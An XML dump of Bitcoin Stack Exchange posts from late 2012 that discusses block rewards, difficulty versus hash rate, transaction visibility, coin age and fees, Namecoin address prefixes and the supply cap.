  <row Id="5549" PostTypeId="2" ParentId="5548" CreationDate="2012-11-30T13:14:30.297" Score="4" Body="&lt;p&gt;I suppose this is the &lt;a href=&quot;https://blockexplorer.com/block/00000000000743f190a18c5577a3c2d2a1f610ae9601ac046a38084ccb7cd721&quot; rel=&quot;nofollow&quot;&gt;culprit&lt;/a&gt;. If we add the duplicate 50BTC that is missing and the first reward from block 21,000,000, we would have 10,500,000BTC in total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my calculations would be: 21000000 blocks (ranging from Genesis Block &lt;strong&gt;&lt;em&gt;0&lt;/em&gt;&lt;/strong&gt;, to block 20,999,999) multiplied by 50 BTC, that would give us 10,500,000&#xA;With the duplicate transaction, that would be 10,499,950 BTC total.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-30T13:14:30.297" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5552" PostTypeId="2" ParentId="2428" CreationDate="2012-11-30T15:05:54.160" Score="4" Body="&lt;p&gt;There is a newly launched network which users view and answer question  that you set up. Which could let users know more about the features of your site. The pricing is down to 0.0001 per valid view (the user answered a correct question). Also offering detailed reports such as users location. users answers etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the site is: &lt;a href=&quot;http://bitcoin.chromaticcreative.net&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.chromaticcreative.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2334" LastActivityDate="2012-11-30T15:05:54.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5553" PostTypeId="2" ParentId="4818" CreationDate="2012-11-30T17:07:34.503" Score="2" Body="&lt;p&gt;Andreas Schildbach's &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet for Android&lt;/a&gt; comes in &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet_test&quot; rel=&quot;nofollow&quot;&gt;a second variant that uses testnet&lt;/a&gt;, so you can have it on your phone or tablet with no hassle.&lt;/p&gt;&#xA;" OwnerUserId="1145" LastActivityDate="2012-11-30T17:07:34.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5554" PostTypeId="2" ParentId="4180" CreationDate="2012-11-30T17:35:28.360" Score="0" Body="&lt;p&gt;Understand that your solutions are most likely to be &lt;strong&gt;expensive&lt;/strong&gt; and corporate*. PayPal is not a fan of Bitcoin and you won't find many individuals willing to to accept PayPal for Bitcoin, and you should, too, be wary of accepting PayPal as an individual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5465/why-shouldnt-i-accept-paypal-when-trading-bitcoin&quot;&gt;Why shouldn&amp;#39;t I accept PayPal when trading bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*corporate means not an individual, but a company with established rapport and customer base, with sufficient means and experience to navigate or mitigate the high potential for chargebacks when selling BTC via PayPal.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-11-30T17:35:28.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5555" PostTypeId="1" AcceptedAnswerId="5558" CreationDate="2012-11-30T17:41:18.020" Score="9" ViewCount="9009" Body="&lt;p&gt;This seems like a really basic question, but I'm having trouble searching for answers on it. My understanding is that my bitcoin client (Bitcoin v0.7.1-beta) has basically theoretically downloaded the entire transaction history of every bitcoin transaction that has ever occurred. I can see my own transactions in the Transactions screen. Is there a way to see transaction with wallets that I haven't imported or created on this client? I'm just trying to get a full understanding of bitcoin technology here. Is the reason the client doesn't show transactions from other wallets due to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User friendliness - it would be overwhelming to have to search through all wallet addresses when most people only care about their own (is there a way to override that?);&lt;/li&gt;&#xA;&lt;li&gt;Technical limitations - it's impractical to consider every transaction in the huge database when you want to list or look up some particular piece of information;&lt;/li&gt;&#xA;&lt;li&gt;Design limitations - Not every transaction is actually there with all the information necessary;&lt;/li&gt;&#xA;&lt;li&gt;Privacy concerns - By making it too easy to view others' transactions people would yell out about privacy more vocally;&lt;/li&gt;&#xA;&lt;li&gt;Something I missed?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2335" LastEditorUserId="516" LastEditDate="2012-12-01T20:35:34.663" LastActivityDate="2022-01-24T08:29:51.990" Title="Is it possible to view others' transactions in bitcoin client?" Tags="|transactions|blockchain|bitcoin-core|privacy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5556" PostTypeId="1" AcceptedAnswerId="5557" CreationDate="2012-11-30T18:35:56.870" Score="24" ViewCount="16369" Body="&lt;p&gt;What is the algebraic relationship between Total Network Hash-Rate and Difficulty?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2021-05-06T22:28:15.933" Title="Relationship between Hash-Rate and Difficulty" Tags="|difficulty|hash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5557" PostTypeId="2" ParentId="5556" CreationDate="2012-11-30T19:53:41.803" Score="23" Body="&lt;p&gt;Short answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  difficulty = hashrate / (2^256 / max_target / intended_time_per_block)&#xA;             = hashrate / (2^256 / (2^208*65535) / 600)&#xA;             = hashrate / (2^48 / 65535 / 600)&#xA;             = hashrate / 7158388.055&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(where hashrate is expressed in hashes/s)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer answer: there is no direct relation between the actual network hashrate and the difficulty, because the actual hashrate cannot be observed. What happens is that every 2016 blocks, the average hashrate during that period is measured, and the difficulty is adjusted based on that.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-11-30T19:53:41.803" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5558" PostTypeId="2" ParentId="5555" CreationDate="2012-12-01T06:55:36.367" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to view others' transactions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;in bitcoin client?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It's not terribly useful to look up the balance of somebody else's address, except maybe so they can prove they have a certain amount of funds.  &lt;/li&gt;&#xA;&lt;li&gt;These lookups would be &lt;em&gt;slow,&lt;/em&gt; because it needs to work through millions of transactions. Creating the indexes that would allow you to do fast lookups on any bitcoin address would take a sizable amount of disk space.&lt;/li&gt;&#xA;&lt;li&gt;All of them are there - it's a central part of the bitcoin protocol. What if somebody moves all of their money out of their account within a transaction you don't know about? Therefore, you have to know about all transactions, unless you want to be surprised when their payment &quot;bounces.&quot;&lt;/li&gt;&#xA;&lt;li&gt;There's already a website called &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Block Explorer&lt;/a&gt; that pretty clearly establishes that transactions are public. Even if there wasn't, you could still &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5518/how-do-i-access-information-on-blockexplorer-com-or-blockchain-info-without-issu/5519#5519&quot;&gt;build your own&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-04-01T19:29:28.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5562" PostTypeId="2" ParentId="5555" CreationDate="2012-12-01T20:34:34.680" Score="0" Body="&lt;p&gt;Adding to Nick's answer, it's worth clarifying that even though the entire history of transactions are available, there's no information directly stating which collection of addresses belong to a particular wallet. You might get some idea of that by looking at the inputs and outputs of transactions, but there's no &quot;wallet id&quot; (or similar) value in the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-12-01T20:34:34.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5563" PostTypeId="2" ParentId="209" CreationDate="2012-12-01T21:38:28.107" Score="1" Body="&lt;p&gt;For the second part of your question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some EWallets can handle generated bitcoins, some can't -- depending on what client they are using.  If the wallet refuses to support these, you could losse funds.  i.e., it is best to not use an EWallet when mining on Eligius, P2Pool or any other pool that generates coins directly to the address supplied by the miner.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-01T21:38:28.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5564" PostTypeId="1" AcceptedAnswerId="5569" CreationDate="2012-12-02T00:38:32.790" Score="3" ViewCount="599" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/charts/n-transactions&quot; rel=&quot;nofollow&quot;&gt;This website&lt;/a&gt; shows the number of bitcoin transactions per day, but I want to know how many there are total. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2012-12-02T12:57:26.040" Title="How many transactions have been included into the blockchain?" Tags="|transactions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5565" PostTypeId="2" ParentId="5564" CreationDate="2012-12-02T02:45:12.133" Score="1" Body="&lt;p&gt;From this JSON source, the totals can be computed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/charts/n-transactions?format=json&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/n-transactions?format=json&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-02T02:45:12.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5566" PostTypeId="2" ParentId="5564" CreationDate="2012-12-02T07:09:41.513" Score="0" Body="&lt;p&gt;Building on Stephen's answer, here's a python script that will parse out the data and give you a total.&lt;br&gt;&#xA;There's an important problem, though. It will only load the last year of data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import urllib2&#xA;import json&#xA;&#xA;url = &quot;http://blockchain.info/charts/n-transactions?format=json&quot;&#xA;page = urllib2.urlopen(url).read()&#xA;data = json.loads(page)['values']&#xA;data = map(lambda point: point['y'], data)&#xA;print int(sum(data))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/4187550&quot; rel=&quot;nofollow&quot;&gt;Gist&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2012-12-02T07:09:41.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5567" PostTypeId="2" ParentId="5536" CreationDate="2012-12-02T09:24:20.623" Score="3" Body="&lt;p&gt;&quot;AML-compliant&quot; bitcoins are not anonymous/anonymizable by definition since most AML laws require the origin of funds to be traceable to real person, at least for bigger transactions. The &quot;tainted&quot; bitcoins are completely different thing, you should be completely fine accepting them in good faith if you have sender's real life ID. Law does know nothing about &quot;taint&quot;, that's completely bitcoin-related invention, since cash nor goods usually have it. It's yet to be proven how it would be considered by jury.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IANAL&lt;/strong&gt;, you should do some own research on this.&lt;/p&gt;&#xA;" OwnerUserId="1545" LastActivityDate="2012-12-02T09:24:20.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5569" PostTypeId="2" ParentId="5564" CreationDate="2012-12-02T12:57:26.040" Score="2" Body="&lt;p&gt;As of block 210000, the total number of transactions in the chain is 9344662.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 0.8 of the reference client keeps track of this number, and reports it for every connected block in debug.log. I just copied the number from the debug.log of a node running pre-release code.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-12-02T12:57:26.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5570" PostTypeId="1" CreationDate="2012-12-02T19:11:31.790" Score="4" ViewCount="659" Body="&lt;p&gt;My understanding is that it's possible for extra bitcoins to be left in several accounts within my wallet.  The scattering of these coins into different accounts may cause future transactions to become larger in size (Kb), and therefore more costly in fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it make sense to prematurely consolidate these small accounts into a single &quot;spend account&quot; at some point? (perhaps while I sleep?)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2013-03-13T15:35:46.443" LastActivityDate="2013-03-13T15:35:46.443" Title="Does it make sense to &quot;collect&quot; smaller transactions balances into a single account during low activity?" Tags="|transactions|transaction-fees|satoshi|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5571" PostTypeId="1" AcceptedAnswerId="5577" CreationDate="2012-12-02T19:15:27.177" Score="15" ViewCount="839" Body="&lt;p&gt;When a new transaction is made, the client seems to prefer older coins in the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the rationale for this?   Are there any cases where it doesn't make sense to strictly collect coins by age?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="516" LastEditDate="2012-12-04T04:41:57.483" LastActivityDate="2012-12-04T04:41:57.483" Title="Why does the age of the coin in my wallet matter?" Tags="|bitcoin-core|transaction-fees|coin-age|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5572" PostTypeId="2" ParentId="4269" CreationDate="2012-12-02T20:24:15.257" Score="0" Body="&lt;p&gt;nestorbooster is a crowdfunding site for board games. They accept Bitcoin payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nestorbooster.com&quot; rel=&quot;nofollow&quot;&gt;http://www.nestorbooster.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2012-12-02T20:24:15.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5573" PostTypeId="2" ParentId="5571" CreationDate="2012-12-02T20:35:15.463" Score="7" Body="&lt;p&gt;The older a coin is, the less its ownership is disputed.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2012-12-02T20:35:15.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5574" PostTypeId="2" ParentId="4269" CreationDate="2012-12-02T21:23:44.360" Score="0" Body="&lt;p&gt;BTC Jam  www.btcjam.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do quite a bit to verify the users, including using the Web of trust set up for bitcoin-otc.&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2012-12-02T21:23:44.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5575" PostTypeId="2" ParentId="5570" CreationDate="2012-12-02T22:03:42.560" Score="1" Body="&lt;p&gt;In satoshi client, the &quot;accounts&quot; therein are only a convenience for labeling of receiving addresses. They don't matter for sending at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you receive bitcoins, the balance is not added as in bank, but the amount is saved as &quot;unspent output&quot;. Client only shows all these outputs together as one available balance. It doesn't matter whether one address has n unspent outputs, or these are on more addresses. When you send bitcoin, the fee is based on number of these outputs used and it is higher if they are very recent. So trying to consolidate them won't help much, only that you pay the fee sooner. And it isn't done &quot;while you sleep&quot;, it's done by simply sending your whole balance minus fees to yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other clients, the fee algorithm can be completely different.&lt;/p&gt;&#xA;" OwnerUserId="1545" LastActivityDate="2012-12-02T22:03:42.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5576" PostTypeId="2" ParentId="5442" CreationDate="2012-12-02T22:16:28.547" Score="1" Body="&lt;p&gt;I'm closing this question. I have found a nice tool to look for non-standard scripts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gavinandresen/bitcointools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With:&#xA;  dbdump.py --search-blocks=NONSTANDARD_CSCRIPTS&#xA;I can check the kind of transactions I am curious about. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some interesting things there and I will spend some time looking into all, but, as a whole, there are few complex contracts (a few miners accept them). I will take Meni Rosenfeld's answer as the accepted answer. &lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2012-12-02T22:16:28.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5577" PostTypeId="2" ParentId="5571" CreationDate="2012-12-03T06:15:23.897" Score="11" Body="&lt;p&gt;The Bitcoin.org client only cares about age when a coin is real recent (like in the last day).  Any coins older than about a day are all treated equally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason recent coins matter is because the client wants to lessen the chance that legitimate spending would be considered as being spam or a denial of service attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If coins were recently received and then are being spent fairly quickly right after the network can't know if that is someone trying to grief the network or if that is a legitimate transaction.   But a transaction made with older coins is almost certainly not being used for the purpose of griefing the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then by requiring fees for &quot;spam-like&quot; transactions, if an attacker is griefing the Bitcoin network it is going to have a cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the extent of it -- a way to make attacking bitcoin expensive while allowing normal, legitimate use to remain low cost or free.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-03T06:15:23.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5578" PostTypeId="1" CreationDate="2012-12-03T16:06:52.770" Score="4" ViewCount="505" Body="&lt;p&gt;It recently came to my attention that some Namecoin addresses might not be generated at all (see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=84569.msg1370025#msg1370025&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=84569.msg1370025#msg1370025&lt;/a&gt; ). Namely, there are issues with generating addresses starting with &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Na, Nb, Nc, Nd, Ne, Nf, Ng, Nh, Ni, Nj, Nk, Nm, Nn, No, Np, Nq, Nr, Ns, Nt, Nu, Nv, Nw, Nx, Ny, Nz, NL, NM, NN, NP, NQ, NR, NS, NT, NU, NV, NW, NX, NY, NZ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some reason behind it, or is it just some vanitygen bug?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-04T10:19:22.573" Title="Are there any combination of letters that a namecoin address cannot start with?" Tags="|namecoin|vanity-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5579" PostTypeId="2" ParentId="5578" CreationDate="2012-12-03T17:06:33.643" Score="6" Body="&lt;p&gt;Namecoin addresses, like Bitcoin addresses, are &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;Base58&lt;/a&gt; encodings of a public key hash. The encoded data starts with a version byte, and the value of this byte affects the first characters of the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namecoin addresses specifically use a version byte of 52, which dictates a certain range of initials. The prefixes you listed are simply too high - they correspond to a version byte of 53 or even 54. Likewise, some prefixes starting with M are impossible because they correspond to a version byte of 49, 50 or 51. You could give a more precise &quot;lowest&quot; and &quot;highest&quot; addresses, in lexicographic ordering - the address must be between MvaNCeVyvP6ZXYFWGpKaDX9ujEQ418F7sm and NKuyBkoGdZZSLyPbJEetheRhMjezbtjJCf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A full list of version bytes and first characters is available &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and the possible 2nd character ranges can be interpolated from it. For version bytes 0-2 and 144-255 the address length can be different from 34 so it makes the ranges less intuitive. But for 3-143 it's fairly straightforward: You have about 58^2 possibilities for first 2 characters to go between 141 version bytes, so each is only allocated a range of about 23 combinations. For Namecoin addresses that would be Mv to NK.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-12-04T10:19:22.573" LastActivityDate="2012-12-04T10:19:22.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5580" PostTypeId="1" AcceptedAnswerId="5581" CreationDate="2012-12-03T21:01:04.960" Score="5" ViewCount="1472" Body="&lt;p&gt;I have been using blockchain.info's my wallet to perform transactions, one of the reason I liked it was because I could choose to not pay a transaction fee. But recently I noticed blockchain.info's interface has changed, there's no way to not include a transaction fee now? (or am I wrong about that?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was there a change in the Bitcoin protocol to require transaction fee? or are there still clients available that has the function of not paying a transaction fee?&lt;/p&gt;&#xA;" OwnerUserId="74" LastEditorUserId="516" LastEditDate="2012-12-03T23:11:21.507" LastActivityDate="2013-07-03T15:39:50.573" Title="Are transaction fees required now? Is there any way to avoid them?" Tags="|client|e-wallet|blockchain.info|transaction-fees|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5581" PostTypeId="2" ParentId="5580" CreationDate="2012-12-03T21:57:34.163" Score="3" Body="&lt;p&gt;Use Send Custom for full control over fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click Send Money tab, then on the left menu under Transaction Type click Custom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This URL might get you there.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/wallet/login#send-custom&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/login#send-custom&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-03T21:57:34.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5582" PostTypeId="2" ParentId="5580" CreationDate="2012-12-03T22:32:47.277" Score="2" Body="&lt;p&gt;Use the Frugal option.  That way only the minimum (recommended) fee is included and only if the protocol rules require that you pay a fee. &lt;/p&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2012-12-03T22:32:47.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5583" PostTypeId="1" AcceptedAnswerId="5612" CreationDate="2012-12-04T02:53:14.023" Score="30" ViewCount="17648" Body="&lt;p&gt;Important parts in bold, for those who don't want to read the detail!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I've received lots of tiny transactions, in amounts sometimes as low as 0.000003BTC.&#xA;Even though I've also received (relatively) larger amounts, I'm worried that when I want to spend my bitcoins the transaction fees may be very high thanks to the large number of &quot;input&quot; transactions needed to make up the output transaction.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, the network has an algorithm for determining minimum transaction fees, and the relationship between number of inputs and required transaction fee is non-linear. This means there is likely some optimum way to combine my inputs. This has already been discussed &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5570/516&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/q/792/516&quot;&gt;here&lt;/a&gt;, but neither question asks how it can be done, and how bad the consequences can be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be best to somehow include as many tiny inputs with a larger input each time I spend a moderate amount, or perhaps it would be better to somehow combine all the tiny inputs in individual batches of some optimum size and send them to myself to prevent future problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to combine the tiny amounts, I'd be happy to wait for the newly combined bitcoins to age, so additional fees which would be required by spending young bitcoins won't be a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most, but not all, cases, my tiny amounts have been received to a dedicated tony-amount address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For the sake of the question, let's assume I've received 1000 tiny transactions of 0.001BTC each, and another 100 transactions of 0.1BTC each, all in the same wallet. This would give a total balance of 11BTC. Assume all amounts were received 6 months ago.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If I wanted to spend the entire 11BTC at once (with 1100 transaction inputs), how high might the fee be?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If I only spent 1BTC at a time, how high might the fee be?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I actually combine the tiny amounts without affecting the larger ones?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running the standard (Satoshi) client, but other clients could be an option.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="121614" LastEditDate="2022-06-23T15:00:20.033" LastActivityDate="2022-06-23T15:00:20.033" Title="How can I combine all the tiny amounts I've received to minimise transaction fees, and do I need to?" Tags="|bitcoin-core|wallet|transaction-fees|consolidation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5584" PostTypeId="1" CreationDate="2012-12-04T03:24:56.197" Score="5" ViewCount="867" Body="&lt;p&gt;If it's supposed to be a decentralized currency, then why is it set to be capped at 21 million? What if that demand for Bitcoins exceeds 21 million but all of them are already purchased? Wouldn't it make more sense to peg the amount of Bitcoins to the Bitcoin's &quot;GDP,&quot; that way the money supply would grow and shrink according to the total demand?&lt;/p&gt;&#xA;" OwnerUserId="2347" LastActivityDate="2012-12-04T05:02:20.307" Title="Why is the supply of Bitcoin not pegged to its demand?" Tags="|money-supply|reward-schedule|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5585" PostTypeId="2" ParentId="5584" CreationDate="2012-12-04T04:24:40.670" Score="2" Body="&lt;p&gt;Bitcoin already grows and shrinks according to demand, via the mechanism of price and divisibility. While it is not the supply in terms of total number of units which grows or shrinks, it is the overall value.&#xA;Unlike a national currency, for which high valuations tend to harm exporters due to 'sticky' prices - it is envisaged that prices in BTC can be more easily adjusted and/or denominated in  other units.&#xA;e.g A loaf of bread might be priced at 0.1g of gold, or $5.50 USD - and while today that might be around 0.45BTC  - it may one day be 0.045BTC.&#xA;We don't need more Bitcoins to be issued to support this, as the higher value per Bitcoin will  inevitably result in more fractional BTC being spread around.&lt;/p&gt;&#xA;" OwnerUserId="1411" LastActivityDate="2012-12-04T04:24:40.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5586" PostTypeId="5" CreationDate="2012-12-04T04:43:12.693" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-04T04:43:12.693" LastActivityDate="2012-12-04T04:43:12.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5587" PostTypeId="4" CreationDate="2012-12-04T04:43:12.693" Score="0" Body="Relates to the concept of how long ago bitoins were received. This matters because recently received bitcoins can incur higher transaction fees when spent." OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-12-04T05:03:04.193" LastActivityDate="2012-12-04T05:03:04.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5588" PostTypeId="5" CreationDate="2012-12-04T04:49:43.813" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-04T04:49:43.813" LastActivityDate="2012-12-04T04:49:43.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5589" PostTypeId="4" CreationDate="2012-12-04T04:49:43.813" Score="0" Body="Relates to the (roughly) 21 million bitcoin limit, which is the cap on the total number of bitcoins that can ever be in existence." OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-12-04T05:03:00.060" LastActivityDate="2012-12-04T05:03:00.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5590" PostTypeId="2" ParentId="5584" CreationDate="2012-12-04T04:51:16.593" Score="4" Body="&lt;p&gt;GDP (and most other stats you would think to use for this) can't be accurately determined by the network without trusting someone. The network can only see the movement of BTC; it has no information about non-BTC currencies, goods, or services. For GDP, some centralized organization would need to figure out the the real amount of spending in the BTC economy. The network can't just look at the total BTC transaction volume to figure this out, since someone could send BTC to himself in an undetectable way in order to inflate the volume stat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of Bitcoin's primary goals is to be decentralized, so it can't rely on a central authority. Therefore, the money supply needs to be set according to some algorithm that looks only at raw Bitcoin transactions and blocks. Satoshi chose to make the supply asymptotic because he thought that this was basically how gold worked, and gold has thousands of years of history as good money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, GDP would be a poor statistic to use for determining the demand for BTC. You'd want to use the price of BTC relative to a currency or good. If it could be done without changing any of Bitcoin's other excellent properties, I think that Bitcoin would be better if 1 BTC was guaranteed to buy you 1 oz of silver. But this is probably impossible for any decentralized currency that's even remotely similar to Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-12-04T04:51:16.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
